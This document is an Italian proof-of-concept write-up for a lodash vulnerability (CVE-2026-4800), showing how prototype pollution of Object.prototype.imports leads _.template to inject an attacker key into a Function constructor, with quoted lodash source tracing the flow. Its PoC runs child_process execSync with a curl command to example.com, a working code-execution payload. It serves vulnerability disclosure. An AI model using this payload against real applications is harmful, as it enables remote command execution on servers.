CVE-2026-4800-POC

Advisory di Sicurezza

https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc

POC

const _ = require('lodash');
Object.prototype.imports = {'x=process.getBuiltinModule("child_process").execSync("curl https://example.com")':undefined}
_.template('', {});

Flusso

• Utilizzo di una precedente vulnerabilità di prototype pollution per inquinare Object.prototype.imports con una proprietà controllata dall'attaccante

• Successivamente, chiama _.template('', {}) con un normale valore di opzioni plain-object

• All'interno di _.template(), lodash copia options con assignInWith({}, options, settings, ...) in lodash.js:14877

function template(string, options, guard) {
      // Based on John Resig's `tmpl` implementation
      // (http://ejohn.org/blog/javascript-micro-templating/)
      // and Laura Doktorova's doT.js (https://github.com/olado/doT).
      var settings = lodash.templateSettings;

      if (guard && isIterateeCall(string, options, guard)) {
        options = undefined;
      }
      string = toString(string);
      options = assignInWith({}, options, settings, customDefaultsAssignIn);


...

• assignInWith usa keysIn(source) in lodash.js:12778

    var assignInWith = createAssigner(function(object, source, srcIndex, customizer) {
      copyObject(source, keysIn(source), object, customizer);
    });

• keysIn() include le proprietà enumerabili ereditate in lodash.js:13440

    function keysIn(object) {
      return isArrayLike(object) ? arrayLikeKeys(object, true) : baseKeysIn(object);
    }

• Poiché l'oggetto options è un normale {}, eredita la proprietà imports inquinata da Object.prototype, e lodash copia quel valore ereditato nella options.imports locale

• Lodash quindi costruisce imports con assignInWith({}, options.imports, settings.imports, ...) in lodash.js:14889, estrae importsKeys in lodash.js:14889, e li passa a Function(importsKeys, ...) in lodash.js:14957

...

      // Cleanup code by stripping empty strings.
      source = (isEvaluating ? source.replace(reEmptyStringLeading, '') : source)
        .replace(reEmptyStringMiddle, '$1')
        .replace(reEmptyStringTrailing, '$1;');

      // Frame code as the function body.
      source = 'function(' + (variable || 'obj') + ') {\n' +
        (variable
          ? ''
          : 'obj || (obj = {});\n'
        ) +
        "var __t, __p = ''" +
        (isEscaping
           ? ', __e = _.escape'
           : ''
        ) +
        (isEvaluating
          ? ', __j = Array.prototype.join;\n' +
            "function print() { __p += __j.call(arguments, '') }\n"
          : ';\n'
        ) +
        source +
        'return __p\n}';

      var result = attempt(function() {
        return Function(importsKeys, sourceURL + 'return ' + source)
          .apply(undefined, importsValues);
      });

...

• La mia chiave inquinata viene trattata come un parametro formale con un'espressione di default:

  x=process.getBuiltinModule("child_process").execSync("curl https://example.com")